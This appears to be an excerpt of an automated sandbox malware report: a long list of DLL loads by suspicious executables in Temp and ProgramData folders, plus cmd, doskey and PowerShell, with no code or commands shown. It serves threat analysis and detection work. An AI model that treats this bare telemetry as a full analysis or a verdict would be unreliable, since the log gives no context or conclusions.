Source: C:\Users\user\Desktop\random.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: feclient.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Section loaded: advpack.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Section loaded: apphelp.dll
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Section loaded: dnsapi.dll
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Section loaded: vcruntime140.dll
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\doskey.exe Section loaded: ulib.dll
Source: C:\Windows\System32\doskey.exe Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: schannel.dll
